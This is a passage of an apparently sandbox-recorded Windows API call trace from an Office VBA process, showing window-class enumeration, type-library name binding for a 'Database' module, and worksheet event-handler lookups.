lpClassName="DV2ControlHost") returned 14 [0140.639] lstrcmpA (lpString1="DV2ControlHost", lpString2="ThunderRT6Main") returned -1 [0140.639] GetWindowThreadProcessId (in: hWnd=0x800a0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0140.639] GetWindow (hWnd=0x800a0, uCmd=0x2) returned 0x20018 [0140.639] GetClassNameA (in: hWnd=0x20018, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="OneNoteM") returned 8 [0140.639] lstrcmpA (lpString1="OneNoteM", lpString2="ThunderRT6Main") returned -1 [0140.640] GetWindowThreadProcessId (in: hWnd=0x20018, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x54c [0140.640] GetWindow (hWnd=0x20018, uCmd=0x2) returned 0x2001a [0140.640] GetClassNameA (in: hWnd=0x2001a, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0140.640] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0140.640] GetWindowThreadProcessId (in: hWnd=0x2001a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x54c [0140.640] GetWindow (hWnd=0x2001a, uCmd=0x2) returned 0x2001c [0140.640] GetClassNameA (in: hWnd=0x2001c, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="GDI+ Hook Window Class") returned 22 [0140.640] lstrcmpA (lpString1="GDI+ Hook Window Class", lpString2="ThunderRT6Main") returned -1 [0140.640] GetWindowThreadProcessId (in: hWnd=0x2001c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x43c [0140.640] GetWindow (hWnd=0x2001c, uCmd=0x2) returned 0x20016 [0140.640] GetClassNameA (in: hWnd=0x20016, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0140.640] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0140.640] GetWindowThreadProcessId (in: hWnd=0x20016, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x43c [0140.640] GetWindow (hWnd=0x20016, uCmd=0x2) returned 0x200a2 [0140.640] GetClassNameA (in: hWnd=0x200a2, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="TASKENGINEWINDOWCLASS") returned 21 [0140.640] lstrcmpA (lpString1="TASKENGINEWINDOWCLASS", lpString2="ThunderRT6Main") returned -1 [0140.640] GetWindowThreadProcessId (in: hWnd=0x200a2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5a4 [0140.640] GetWindow (hWnd=0x200a2, uCmd=0x2) returned 0x20108 [0140.640] GetClassNameA (in: hWnd=0x20108, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0140.640] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0140.640] GetWindowThreadProcessId (in: hWnd=0x20108, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5a4 [0140.640] GetWindow (hWnd=0x20108, uCmd=0x2) returned 0x10106 [0140.640] GetClassNameA (in: hWnd=0x10106, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0140.640] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0140.640] GetWindowThreadProcessId (in: hWnd=0x10106, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x588 [0140.640] GetWindow (hWnd=0x10106, uCmd=0x2) returned 0x10102 [0140.640] GetClassNameA (in: hWnd=0x10102, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0140.640] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0140.640] GetWindowThreadProcessId (in: hWnd=0x10102, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3a0 [0140.640] GetWindow (hWnd=0x10102, uCmd=0x2) returned 0x100fc [0140.640] GetClassNameA (in: hWnd=0x100fc, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0140.640] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0140.640] GetWindowThreadProcessId (in: hWnd=0x100fc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x544 [0140.640] GetWindow (hWnd=0x100fc, uCmd=0x2) returned 0x5008e [0140.640] GetClassNameA (in: hWnd=0x5008e, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="DV2ControlHost") returned 14 [0140.640] lstrcmpA (lpString1="DV2ControlHost", lpString2="ThunderRT6Main") returned -1 [0140.640] GetWindowThreadProcessId (in: hWnd=0x5008e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0140.641] GetClassNameA (in: hWnd=0x10084, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0140.641] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0140.641] GetWindowThreadProcessId (in: hWnd=0x10084, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x518 [0140.643] IMalloc:Alloc (This=0x7feffc15380, cb=0x18) returned 0xb688fa0 [0140.643] IMalloc:Free (This=0x7feffc15380, pv=0xb688fa0) [0140.695] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Database", cchWideChar=-1, lpMultiByteStr=0x261870, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Database", lpUsedDefaultChar=0x0) returned 9 [0140.696] IMalloc:Alloc (This=0x7feffc15380, cb=0xa) returned 0xb68ac20 [0140.696] strncpy_s (in: _Dst=0xb68ac20, _DstSize=0xa, _Src="Database", _MaxCount=0x8 | out: _Dst="Database") returned 0x0 [0140.696] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="Database") returned 0x10eec7 [0140.696] bsearch (_Key=0x260778, _Base=0xb685940, _NumOfElements=0x2, _SizeOfElements=0x8, _PtFuncCompare=0x7fee5a9219c) returned 0x0 [0140.696] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="Database", cchCount1=-1, lpString2="Sheet1", cchCount2=-1) returned 1 [0140.696] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="Database", cchCount1=-1, lpString2="VBAProject", cchCount2=-1) returned 1 [0140.696] ITypeLib:GetTypeComp (in: This=0xb1d1370, ppTComp=0x2607e0 | out: ppTComp=0x2607e0*=0xb1d1380) returned 0x0 [0140.696] IUnknown:AddRef (This=0xb1d1380) returned 0xc [0140.696] IUnknown:Release (This=0xb1d1380) returned 0xb [0140.696] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb68ac20, cbMultiByte=9, lpWideCharStr=0x2605f0, cchWideChar=9 | out: lpWideCharStr="Database") returned 9 [0140.696] ITypeComp:RemoteBind (in: This=0xb1d1380, szName="Database", lHashVal=0x10eec7, wFlags=0x1, ppTInfo=0x2605a8, pDescKind=0x260690, ppFuncDesc=0x2605b0, ppVarDesc=0x2605a0, ppTypeComp=0x1194000000000008, pDummy=0x0 | out: ppTInfo=0x2605a8*=0x0, pDescKind=0x260690*=0, ppFuncDesc=0x2605b0, ppVarDesc=0x2605a0, ppTypeComp=0x1194000000000008, pDummy=0x0) returned 0x0 [0140.696] IUnknown:Release (This=0xb1d1380) returned 0xa [0140.697] ITypeLib:GetTypeComp (in: This=0xb1d0560, ppTComp=0x2607e0 | out: ppTComp=0x2607e0*=0xb1d0570) returned 0x0 [0140.697] IUnknown:AddRef (This=0xb1d0570) returned 0x13 [0140.697] IUnknown:Release (This=0xb1d0570) returned 0x12 [0140.697] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb68ac20, cbMultiByte=9, lpWideCharStr=0x2605f0, cchWideChar=9 | out: lpWideCharStr="Database") returned 9 [0140.697] ITypeComp:RemoteBind (in: This=0xb1d0570, szName="Database", lHashVal=0x10eec7, wFlags=0x1, ppTInfo=0x2605a8, pDescKind=0x260690, ppFuncDesc=0x2605b0, ppVarDesc=0x2605a0, ppTypeComp=0x1194000000000008, pDummy=0x0 | out: ppTInfo=0x2605a8*=0x0, pDescKind=0x260690*=0, ppFuncDesc=0x2605b0, ppVarDesc=0x2605a0, ppTypeComp=0x1194000000000008, pDummy=0x0) returned 0x0 [0140.697] IUnknown:Release (This=0xb1d0570) returned 0x11 [0140.697] ITypeLib:GetTypeComp (in: This=0xb1d1910, ppTComp=0x2607e0 | out: ppTComp=0x2607e0*=0xb1d1920) returned 0x0 [0140.697] IUnknown:AddRef (This=0xb1d1920) returned 0x7 [0140.697] IUnknown:Release (This=0xb1d1920) returned 0x6 [0140.697] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb68ac20, cbMultiByte=9, lpWideCharStr=0x2605f0, cchWideChar=9 | out: lpWideCharStr="Database") returned 9 [0140.697] ITypeComp:RemoteBind (in: This=0xb1d1920, szName="Database", lHashVal=0x10eec7, wFlags=0x1, ppTInfo=0x2605a8, pDescKind=0x260690, ppFuncDesc=0x2605b0, ppVarDesc=0x2605a0, ppTypeComp=0x1194000000000008, pDummy=0x0 | out: ppTInfo=0x2605a8*=0x0, pDescKind=0x260690*=0, ppFuncDesc=0x2605b0, ppVarDesc=0x2605a0, ppTypeComp=0x1194000000000008, pDummy=0x0) returned 0x0 [0140.697] IUnknown:Release (This=0xb1d1920) returned 0x5 [0140.697] ITypeLib:GetTypeComp (in: This=0x6fed880, ppTComp=0x2607e0 | out: ppTComp=0x2607e0*=0x6fed890) returned 0x0 [0140.697] IUnknown:AddRef (This=0x6fed890) returned 0x5 [0140.697] IUnknown:Release (This=0x6fed890) returned 0x4 [0140.697] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb68ac20, cbMultiByte=9, lpWideCharStr=0x2605f0, cchWideChar=9 | out: lpWideCharStr="Database") returned 9 [0140.697] ITypeComp:RemoteBind (in: This=0x6fed890, szName="Database", lHashVal=0x10eec7, wFlags=0x1, ppTInfo=0x2605a8, pDescKind=0x260690, ppFuncDesc=0x2605b0, ppVarDesc=0x2605a0, ppTypeComp=0x1194000000000008, pDummy=0x0 | out: ppTInfo=0x2605a8*=0x0, pDescKind=0x260690*=0, ppFuncDesc=0x2605b0, ppVarDesc=0x2605a0, ppTypeComp=0x1194000000000008, pDummy=0x0) returned 0x0 [0140.697] IUnknown:Release (This=0x6fed890) returned 0x3 [0140.698] IMalloc:Free (This=0x7feffc15380, pv=0xb68ac20) [0149.760] GetAsyncKeyState (vKey=27) returned 0 [0149.760] GetCurrentThreadId () returned 0x92c [0149.760] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0149.760] GetDesktopWindow () returned 0x10010 [0149.761] RemovePropA (hWnd=0x202cc, lpString=0xc113) returned 0x1 [0149.761] EnableWindow (hWnd=0x202cc, bEnable=1) returned 1 [0149.761] IMalloc:Alloc (This=0x7feffc15380, cb=0x18) returned 0x6edcd80 [0149.761] IMalloc:Free (This=0x7feffc15380, pv=0x6edcd80) [0149.835] ITypeInfo:RemoteGetDocumentation (in: This=0xb3e3928, memid=1545, refPtrFlags=0x28efd0, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0xb60000035b | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0xb60000035b) returned 0x0 [0149.836] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Change", cchWideChar=7, lpMultiByteStr=0x28f020, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Change", lpUsedDefaultChar=0x0) returned 7 [0149.836] _mbscpy_s (in: _Dst=0x28ee70, _DstSizeInBytes=0x11, _Src=0x6762d5a | out: _Dst=0x28ee70) returned 0x0 [0149.836] _mbscpy_s (in: _Dst=0x28ee7a, _DstSizeInBytes=0x7, _Src=0x28f020 | out: _Dst=0x28ee7a) returned 0x0 [0149.836] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_Change") returned 0x10539f [0149.836] ITypeInfo:RemoteGetDocumentation (in: This=0xb3e3928, memid=1543, refPtrFlags=0x28efd0, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0) returned 0x0 [0149.836] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SelectionChange", cchWideChar=16, lpMultiByteStr=0x28f020, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SelectionChange", lpUsedDefaultChar=0x0) returned 16 [0149.836] _mbscpy_s (in: _Dst=0x28ee70, _DstSizeInBytes=0x1a, _Src=0x6762d5a | out: _Dst=0x28ee70) returned 0x0 [0149.836] _mbscpy_s (in: _Dst=0x28ee7a, _DstSizeInBytes=0x10, _Src=0x28f020 | out: _Dst=0x28ee7a) returned 0x0 [0149.836] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_SelectionChange") returned 0x1034d1 [0149.842] ITypeInfo:RemoteGetDocumentation (in: This=0xb3e3928, memid=1537, refPtrFlags=0x28e370, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0) returned 0x0 [0149.842] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BeforeDoubleClick", cchWideChar=18, lpMultiByteStr=0x28e3c0, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BeforeDoubleClick", lpUsedDefaultChar=0x0) returned 18 [0149.842] _mbscpy_s (in: _Dst=0x28e210, _DstSizeInBytes=0x1c, _Src=0x6762d5a | out: _Dst=0x28e210) returned 0x0 [0149.842] _mbscpy_s (in: _Dst=0x28e21a, _DstSizeInBytes=0x12, _Src=0x28e3c0 | out: _Dst=0x28e21a) returned 0x0 [0149.842] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_BeforeDoubleClick") returned 0x107466 [0149.844] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Database", cchWideChar=-1, lpMultiByteStr=0x260f80, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Database", lpUsedDefaultChar=0x0) returned 9 [0149.844] IMalloc:Alloc (This=0x7feffc15380, cb=0xa) returned 0xb68b480 [0149.844] strncpy_s (in: _Dst=0xb68b480, _DstSize=0xa, _Src="Database", _MaxCount=0x8 | out: _Dst="Database") returned 0x0 [0149.845] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="Database") returned 0x10eec7 [0149.845] bsearch (_Key=0x25fe98, _Base=0xb685940, _NumOfElements=0x2, _SizeOfElements=0x8, _PtFuncCompare=0x7fee5a9219c) returned 0x0 [0149.845] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="Database", cchCount1=-1, lpString2="Sheet1", cchCount2=-1) returned 1 [0149.845] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="Database", cchCount1=-1, lpString2="VBAProject", cchCount2=-1) returned 1 [0149.845] ITypeLib:GetTypeComp (in: This=0xb1d1370, ppTComp=0x25ff00 | out: ppTComp=0x25ff00*=0xb1d1380) returned 0x0 [0149.845] IUnknown:AddRef (This=0xb1d1380) returned 0xc [0149.845] IUnknown:Release (This=0xb1d1380) returned 0xb [0149.845] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb68b480, cbMultiByte=9, lpWideCharStr=0x25fd00, cchWideChar=9 | out: lpWideCharStr="Database") returned 9 [0149.845] ITypeComp:RemoteBind (in: This=0xb1d1380, szName="Database", lHashVal=0x10eec7, wFlags=0x1, ppTInfo=0x25fcb8, pDescKind=0x25fda0, ppFuncDesc=0x25fcc0, ppVarDesc=0x7feffdb3e52, ppTypeComp=0x8, pDummy=0x0 | out: ppTInfo=0x25fcb8*=0x0, pDescKind=0x25fda0*=0, ppFuncDesc=0x25fcc0, ppVarDesc=0x7feffdb3e52, ppTypeComp=0x8, pDummy=0x0) returned 0x0 [0149.845] IUnknown:Release (This=0xb1d1380) returned 0xa [0149.845] ITypeLib:GetTypeComp (in: This=0xb1d0560, ppTComp=0x25ff00 | out: ppTComp=0x25ff00*=0xb1d0570) returned 0x0 [0149.846] IUnknown:AddRef (This=0xb1d0570) returned 0x13 [0149.846] IUnknown:Release (This=0xb1d0570) returned 0x12 [0149.846] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb68b480, cbMultiByte=9, lpWideCharStr=0x25fd00, cchWideChar=9 | out: lpWideCharStr="Database") returned 9 [0149.846] ITypeComp:RemoteBind (in: This=0xb1d0570, szName="Database", lHashVal=0x10eec7, wFlags=0x1, ppTInfo=0x25fcb8, pDescKind=0x25fda0, ppFuncDesc=0x25fcc0, ppVarDesc=0x7feffdb3e52, ppTypeComp=0x8, pDummy=0x0 | out: ppTInfo=0x25fcb8*=0x0, pDescKind=0x25fda0*=0, ppFuncDesc=0x25fcc0, ppVarDesc=0x7feffdb3e52, ppTypeComp=0x8, pDummy=0x0) returned 0x0 [0149.846] IUnknown:Release (This=0xb1d0570) returned 0x11 [0149.846] ITypeLib:GetTypeComp (in: This=0xb1d1910, ppTComp=0x25ff00 | out: ppTComp=0x25ff00*=0xb1d1920) returned 0x0 [0149.846] IUnknown:AddRef (This=0xb1d1920) returned 0x7 [0149.846] IUnknown:Release (This=0xb1d1920) returned 0x6 [0149.846] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb68b480, cbMultiByte=9, lpWideCharStr=0x25fd00, cchWideChar=9 | out: lpWideCharStr="Database") returned 9 [0149.846] ITypeComp:RemoteBind (in: This=0xb1d1920, szName="Database", lHashVal=0x10eec7, wFlags=0x1, ppTInfo=0x25fcb8, pDescKind=0x25fda0, ppFuncDesc=0x25fcc0, ppVarDesc=0x7feffdb3e52, ppTypeComp=0x8, pDummy=0x0 | out: ppTInfo=0x25fcb8*=0x0, pDescKind=0x25fda0*=0, ppFuncDesc=0x25fcc0, ppVarDesc=0x7feffdb3e52, ppTypeComp=0x8, pDummy=0x0) returned 0x0 [0149.846] IUnknown:Release (This=0xb1d1920) returned 0x5 [0149.846] ITypeLib:GetTypeComp (in: This=0x6fed880, ppTComp=0x25ff00 | out: ppTComp=0x25ff00*=0x6fed890) returned 0x0 [0149.846] IUnknown:AddRef (This=0x6fed890) returned 0x5 [0149.846] IUnknown:Release (This=0x6fed890) returned 0x4 [0149.846] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb68b480, cbMultiByte=9, lpWideCharStr=0x25fd00, cchWideChar=9 | out: lpWideCharStr="Database") returned 9 [0149.846] ITypeComp:RemoteBind (in: This=0x6fed890, szName="Database", lHashVal=0x10eec7, wFlags=0x1, ppTInfo=0x25fcb8, pDescKind=0x25fda0, ppFuncDesc=0x25fcc0, ppVarDesc=0x7feffdb3e52, ppTypeComp=0x8, pDummy=0x0 | out: ppTInfo=0x25fcb8*=0x0, pDescKind=0x25fda0*=0, ppFuncDesc=0x25fcc0, ppVarDesc=0x7feffdb3e52, ppTypeComp=0x8, pDummy=0x0) returned 0x0 [0149.846] IUnknown:Release (This=0x6fed890) returned 0x3 [0149.846] IMalloc:Free (This=0x7feffc15380, pv=0xb68b480) [0149.847] GetCurrentThreadId () returned 0x92c [0149.847] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0149.847] GetDesktopWindow () returned 0x10010 [0149.847] SetPropA (hWnd=0x202cc, lpString=0xc113, hData=0x1) returned 1 [0149.847] EnableWindow (hWnd=0x202cc, bEnable=0) returned 0 [0149.847] IMalloc:Alloc (This=0x7feffc15380, cb=0x18) returned 0xb68b480 [0149.847] IMalloc:Free (This=0x7feffc15380, pv=0xb68b480) [0149.896] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Database", cchWideChar=-1, lpMultiByteStr=0x261870, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Database", lpUsedDefaultChar=0x0) returned 9 [0149.896] IMalloc:Alloc (This=0x7feffc15380, cb=0xa) returned 0xb68c7a0 [0149.896] strncpy_s (in: _Dst=0xb68c7a0, _DstSize=0xa, _Src="Database", _MaxCount=0x8 | out: _Dst="Database") returned 0x0 [0149.896] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="Database") returned 0x10eec7 [0149.896] bsearch (_Key=0x260778, _Base=0xb685940, _NumOfElements=0x2, _SizeOfElements=0x8, _PtFuncCompare=0x7fee5a9219c) returned 0x0 [0149.896] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="Database", cchCount1=-1, lpString2="Sheet1", cchCount2=-1) returned 1 [0149.896] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="Database", cchCount1=-1, lpString2="VBAProject", cchCount2=-1) returned 1 [0149.896] ITypeLib:GetTypeComp (in: This=0xb1d1370, ppTComp=0x2607e0 | out: ppTComp=0x2607e0*=0xb1d1380) returned 0x0 [0149.896] IUnknown:AddRef (This=0xb1d1380) returned 0xc [0149.896] IUnknown:Release (This=0xb1d1380) returned 0xb [0149.897] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb68c7a0, cbMultiByte=9, lpWideCharStr=0x2605f0, cchWideChar=9 | out: lpWideCharStr="Database") returned 9 [0149.897] ITypeComp:RemoteBind (in: This=0xb1d1380, szName="Database", lHashVal=0x10eec7, wFlags=0x1, ppTInfo=0x2605a8, pDescKind=0x260690, ppFuncDesc=0x2605b0, ppVarDesc=0x2605a0, ppTypeComp=0x1194000000000008, pDummy=0x0 | out: ppTInfo=0x2605a8*=0x0, pDescKind=0x260690*=0, ppFuncDesc=0x2605b0, ppVarDesc=0x2605a0, ppTypeComp=0x1194000000000008, pDummy=0x0) returned 0x0 [0149.897] IUnknown:Release (This=0xb1d1380) returned 0xa [0149.897] ITypeLib:GetTypeComp (in: This=0xb1d0560, ppTComp=0x2607e0 | out: ppTComp=0x2607e0*=0xb1d0570) returned 0x0 [0149.897] IUnknown:AddRef (This=0xb1d0570) returned 0x13 [0149.897] IUnknown:Release (This=0xb1d0570) returned 0x12 [0149.897] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb68c7a0, cbMultiByte=9, lpWideCharStr=0x2605f0, cchWideChar=9 | out: lpWideCharStr="Database") returned 9 [0149.897] ITypeComp:RemoteBind (in: This=0xb1d0570, szName="Database", lHashVal=0x10eec7, wFlags=0x1, ppTInfo=0x2605a8, pDescKind=0x260690, ppFuncDesc=0x2605b0, ppVarDesc=0x2605a0, ppTypeComp=0x1194000000000008, pDummy=0x0 | out: ppTInfo=0x2605a8*=0x0, pDescKind=0x260690*=0, ppFuncDesc=0x2605b0, ppVarDesc=0x2605a0, ppTypeComp=0x1194000000000008, pDummy=0x0) returned 0x0 [0149.897] IUnknown:Release (This=0xb1d0570) returned 0x11 [0149.897] ITypeLib:GetTypeComp (in: This=0xb1d1910, ppTComp=0x2607e0 | out: ppTComp=0x2607e0*=0xb1d1920) returned 0x0 [0149.897] IUnknown:AddRef (This=0xb1d1920) returned 0x7 [0149.897] IUnknown:Release (This=0xb1d1920) returned 0x6 [0149.897] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb68c7a0, cbMultiByte=9, lpWideCharStr=0x2605f0, cchWideChar=9 | out: lpWideCharStr="Database") returned 9 [0149.897] ITypeComp:RemoteBind (in: This=0xb1d1920, szName="Database", lHashVal=0x10eec7, wFlags=0x1, ppTInfo=0x2605a8, pDescKind=0x260690, ppFuncDesc=0x2605b0, ppVarDesc=0x2605a0, ppTypeComp=0x1194000000000008, pDummy=0x0 | out: ppTInfo=0x2605a8*=0x0, pDescKind=0x260690*=0, ppFuncDesc=0x2605b0, ppVarDesc=0x2605a0, ppTypeComp=0x1194000000000008, pDummy=0x0) returned 0x0 [0149.897] IUnknown:Release (This=0xb1d1920) returned 0x5 [0149.898] ITypeLib:GetTypeComp (in: This=0x6fed880, ppTComp=0x2607e0 | out: ppTComp=0x2607e0*=0x6fed890) returned 0x0 [0149.898] IUnknown:AddRef (This=0x6fed890) returned 0x5 [0149.898] IUnknown:Release (This=0x6fed890) returned 0x4 [0149.898] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb68c7a0, cbMultiByte=9, lpWideCharStr=0x2605f0, cchWideChar=9 | out: lpWideCharStr="Database") returned 9 [0149.898] ITypeComp:RemoteBind (in: This=0x6fed890, szName="Database", lHashVal=0x10eec7, wFlags=0x1, ppTInfo=0x2605a8, pDescKind=0x260690, ppFuncDesc=0x2605b0, ppVarDesc=0x2605a0, ppTypeComp=0x1194000000000008, pDummy=0x0 | out: ppTInfo=0x2605a8*=0x0, pDescKind=0x260690*=0, ppFuncDesc=0x2605b0, ppVarDesc=0x2605a0, ppTypeComp=0x1194000000000008, pDummy=0x0) returned 0x0 [0149.898] IUnknown:Release (This=0x6fed890) returned 0x3 [0149.898] IMalloc:Free (This=0x7feffc15380, pv=0xb68c7a0) [0152.802] GetAsyncKeyState (vKey=27) returned 0 [0152.802] GetCurrentThreadId () returned 0x92c [0152.802] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0152.802] GetDesktopWindow () returned 0x10010 [0152.802] RemovePropA (hWnd=0x202cc, lpString=0xc113) returned 0x1 [0152.802] EnableWindow (hWnd=0x202cc, bEnable=1) returned 1 [0152.802] IMalloc:Alloc (This=0x7feffc15380, cb=0x18) returned 0x6edcf00 [0152.802] IMalloc:Free (This=0x7feffc15380, pv=0x6edcf00) [0152.862] ITypeInfo:RemoteGetDocumentation (in: This=0xb3e3928, memid=1545, refPtrFlags=0x28efd0, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0xd0000000d6 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0xd0000000d6) returned 0x0 [0152.862] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Change", cchWideChar=7, lpMultiByteStr=0x28f020, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Change", lpUsedDefaultChar=0x0) returned 7 [0152.862] _mbscpy_s (in: _Dst=0x28ee70, _DstSizeInBytes=0x11, _Src=0x6762d5a | out: _Dst=0x28ee70) returned 0x0 [0152.862] _mbscpy_s (in: _Dst=0x28ee7a, _DstSizeInBytes=0x7, _Src=0x28f020 | out: _Dst=0x28ee7a) returned 0x0 [0152.862] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_Change") returned 0x10539f [0152.862] ITypeInfo:RemoteGetDocumentation (in: This=0xb3e3928, memid=1543, refPtrFlags=0x28efd0, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0) returned 0x0 [0152.862] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SelectionChange", cchWideChar=16, lpMultiByteStr=0x28f020, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SelectionChange", lpUsedDefaultChar=0x0) returned 16 [0152.862] _mbscpy_s (in: _Dst=0x28ee70, _DstSizeInBytes=0x1a, _Src=0x6762d5a | out: _Dst=0x28ee70) returned 0x0 [0152.862] _mbscpy_s (in: _Dst=0x28ee7a, _DstSizeInBytes=0x10, _Src=0x28f020 | out: _Dst=0x28ee7a) returned 0x0 [0152.862] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_SelectionChange") returned 0x1034d1 [0152.863] ITypeInfo:RemoteGetDocumentation (in: This=0xb3e3928, memid=1537, refPtrFlags=0x28e370, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0) returned 0x0 [0152.863] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BeforeDoubleClick", cchWideChar=18, lpMultiByteStr=0x28e3c0, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BeforeDoubleClick", lpUsedDefaultChar=0x0) returned 18 [0152.863] _mbscpy_s (in: _Dst=0x28e210, _DstSizeInBytes=0x1c, _Src=0x6762d5a | out: _Dst=0x28e210) returned 0x0 [0152.863] _mbscpy_s (in: _Dst=0x28e21a, _DstSizeInBytes=0x12, _Src=0x28e3c0 | out: _Dst=0x28e21a) returned 0x0 [0152.863] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_BeforeDoubleClick") returned 0x107466 [0152.865] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Database", cchWideChar=-1, lpMultiByteStr=0x260f80, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Database", lpUsedDefaultChar=0x0) returned 9 [0152.866] IMalloc:Alloc 